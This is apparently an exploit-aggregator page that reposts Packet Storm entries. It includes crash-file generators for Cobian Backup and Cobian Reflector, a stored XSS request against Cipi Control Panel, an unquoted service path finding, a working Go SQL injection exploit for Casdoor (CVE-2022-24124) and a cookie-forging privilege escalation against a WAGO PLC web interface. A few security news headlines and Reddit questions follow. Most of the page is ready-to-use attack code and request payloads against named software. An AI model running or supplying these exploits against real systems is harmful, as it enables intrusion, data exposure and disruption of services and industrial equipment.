Exploit Collector
Cobian Backup 11 Gravity 11.2.0.582 Denial Of Service

https://1.bp.blogspot.com/-oHWy7Hh5Fq0/WWlvjd6DOFI/AAAAAAAAIQk/2SpYZjutgb8xmw4nQNmHjmGkgvDsryz_gCLcBGAs/s1600/h93.png
Cobian Backup 11 Gravity version 11.2.0.582 suffers from a denial of service vulnerability.

MD5 | c6d7cc4342d77eab82797267d4f55005

Download
# Exploit Title: Cobian Backup 11 Gravity 11.2.0.582 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-16
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link: https://files.cobiansoft.com/programs/cbSetup.exe
# Tested Version: 11.2.0.582
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: Cobian_Backup_11.2.0.582.py
# 2.- Open Cobian_Backup_11.2.0.582.txt and copy content to clipboard
# 3.- Open "Cobian Backup 11 Gravity User Interface"
# 4.- Task -> "New task"
# 5.- File -> Source "Add" -> FTP
# 6.- Host -> 10.10.10.10
# 7.- Port-> 21
# 8.- User name -> admin
# 9.- Paste ClipBoard on "Password"
# 10.- Ok
# 11.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 800
f = open ("Cobian_Backup_11.2.0.582.txt", "w")
f.write(buffer)
f.close()


Source:packetstormsecurity.com

Exploit Collector
Cipi Control Panel 3.1.15 Cross Site Scripting

https://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png
Cipi Control Panel version 3.1.15 suffers from a cross site scripting vulnerability.

MD5 | b04b829aac8192cfedc8758d2dac7ef8

Download
# Exploit Title: Cipi Control Panel 3.1.15 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 24.02.2022
# Exploit Author: Fikrat Ghuliev (Ghuliev)
# Vendor Homepage: https://cipi.sh/ <https:
# Software Link: https://cipi.sh/ <https:
# Version: 3.1.15
# Tested on: Ubuntu

When the user wants to add a new server on the "Server" panel, in "name"
parameter has not had any filtration.

POST /api/servers HTTP/1.1
Host: IP
Content-Length: 102
Accept: application/json
X-Requested-With: XMLHttpRequest
Authorization: Bearer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json
Origin: http://IP
Referer: http://IP/servers
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
"name":"\">",
"ip":"10.10.10.10",
"provider":"local",
"location":"xss test"
}


Source:packetstormsecurity.com

Exploit Collector
Cobian Reflector 0.9.93 RC1 Denial Of Service

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
Cobian Reflector version 0.9.93 RC1 suffers from a denial of service vulnerability.

MD5 | 8c7b7b39512ad817357cfa1b8ae0161c

Download
# Exploit Title: Cobian Reflector 0.9.93 RC1 - 'Password' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-16
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link: https://files.cobiansoft.com/programs/crSetup-0.9.93-RC1.exe
# Tested Version: 0.9.93 RC1
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code: Cobian_Reflector_0.9.93_RC1.py
# 2.- Open Cobian_Reflector_0.9.93_RC1.txt and copy content to clipboard
# 3.- Open "Cobian Reflector User Interface"
# 4.- Task -> "New task"
# 5.- Files -> Source "Add" -> SFTP
# 6.- Host -> 10.10.10.10
# 7.- Port-> 22
# 8.- User name -> admin
# 9.- Paste ClipBoard on "Password"
# 10.- Test settings
# 11.- Yes
# 12.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 8000
f = open ("Cobian_Reflector_0.9.93_RC1.txt", "w")
f.write(buffer)
f.close()


Source:packetstormsecurity.com

Exploit Collector
Cobian Backup Gravity 11.2.0.582 Unquoted Service Path

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
Cobian Backup Gravity version 11.2.0.582 suffers from an unquoted service path vulnerability.

MD5 | 46bd77dc69f3fa337cf53e932b441d30

Download
# Exploit Title: Cobian Backup Gravity 11.2.0.582 - 'CobianBackup11' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2022-02-24
# Vendor Homepage: https://www.cobiansoft.com/
# Software Link : https://files.cobiansoft.com/programs/cbSetup.exe
# Tested Version: 11.2.0.582
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Gravity " | findstr /i /v """
Cobian Backup 11 Gravity CobianBackup11 C:\Program Files (x86)\Cobian Backup 11\cbService.exe Auto
# Service info:

C:\>sc qc CobianBackup11
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: CobianBackup11
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Cobian Backup 11\cbService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Cobian Backup 11 Gravity
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Source:packetstormsecurity.com

Exploit Collector
Casdoor 1.13.0 SQL Injection

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
Casdoor version 1.13.0 suffers from a remote SQL injection vulnerability.

MD5 | 16e19334ce8fca7c8023e6e8c196fd9c

Download
// Exploit Title: Casdoor 1.13.0 SQL Injection (Unauthenticated)
// Date: 2022-02-25
// Exploit Author: Mayank Deshmukh
// Vendor Homepage: https://casdoor.org/
// Software Link: https://github.com/casdoor/casdoor/releases/tag/v1.13.0
// Version: version < 1.13.1
// Security Advisory: https://github.com/advisories/GHSA-m358-g4rp-533r
// Tested on: Kali Linux
// CVE : CVE-2022-24124
// Github POC: https://github.com/ColdFusionX/CVE-2022-24124

// Exploit Usage : go run exploit.go -u http://127.0.0.1:8080

package main

import (
"flag"
"fmt"
"html"
"io/ioutil"
"net/http"
"os"
"regexp"
"strings"
)

func main() {
var url string
flag.StringVar(&url, "u", "", "Casdoor URL (ex. http://127.0.0.1:8080)")
flag.Parse()

banner := `
-=Casdoor SQL Injection (CVE-2022-24124)=-
- by Mayank Deshmukh (ColdFusionX)

`
fmt.Printf(banner)
fmt.Println("[*] Dumping Database Version")
response, err := http.Get(url + "/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(null,version(),null)")

if err != nil {
panic(err)
}

defer response.Body.Close()

databytes, err := ioutil.ReadAll(response.Body)

if err != nil {
panic(err)
}

content := string(databytes)

re := regexp.MustCompile("(?i)(XPATH syntax error.*')")

result := re.FindAllString(content, -1)

sqliop := fmt.Sprint(result)
replacer := strings.NewReplacer("[", "", "]", "", "'", "", ";", "")

finalop := replacer.Replace(sqliop)
fmt.Println(html.UnescapeString(finalop))
if result == nil {
fmt.Printf("Application not vulnerable\n")
os.Exit(1)
}

}

Source:packetstormsecurity.com

Exploit Collector
WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation

https://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png
WAGO 750-8212 PFC200 G2 2ETH RS suffers from a privilege escalation vulnerability.

MD5 | 6466008b91f5fa677f2021a112398c39

Download
# Exploit Title: WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation
# Date: 02/16/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy) at Cypro AB
# Vendor Homepage: https://www.wago.com
# Version: Firmware version 03.05.10(17)
# Tested on: PopOS! [Linux](Firefox)
# CVE : CVE-2021-46388

========================================
= The ordinary user privilege request:
========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22user%22%2C%22roles%22:[%22user%22%2C%22guest%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642368720673%2C%22sessionExists%22:true}

==========================================
= Manipulated Cookie to Admin Privilege:
==========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22admin%22%2C%22roles%22:[%22admin%22%2C%22admin%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642369499829%2C%22sessionExists%22:true}


Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
How to Boost Shift-Left Security in the SDLC

Organizations will see big wins from applying security controls early in the development life cycle.

Dark Reading: Attacks/Breaches
Companies Borrow Attack Technique to Watermark Machine Learning Models

Researchers continue to improve on a technique for embedded crafted outputs into machine-learning models, an anti-copying technique originally thought up by adversarial researchers.

Dark Reading: Attacks/Breaches
Researchers Warn of Stealthy Chinese Backdoor Targeting Multiple Foreign Agencies

A stealthy backdoor program used by China-linked threat actors has targeted government computers at multiple foreign agencies, allowing attackers to retain a presence on sensitive networks and exfiltrate data while remaining undetected.

hacking: security in practice
Could hacking organizations use people specialized in persuasion?

Hi there,

I always loved the world of hacking, but life took me in another direction. Now I work in advertising as a copywriter (persuasive writing), but I would still love to be part of this world. I was wondering if my knowledge could eventually be of use for an ethical hacking organization.

Since hacker a lot of times rely on social engineering, that kinda makes sense for me. However, I think it's best to hear the opinion of someone that already knows about this.

I also have some background in coding, but I don't think that's relevant in this case.

submitted by /u/MrVulpe
[link] [comments]

hacking: security in practice
Resource for different types of cyberattacks

Is there a resource you guys use for learning about different types of attacks? For example, I was trying to find what types of attacks are possible on an open network and couldn't find any great resources. Thanks! and sorry if this is a stupid question

submitted by /u/Nlbjj91011
[link] [comments]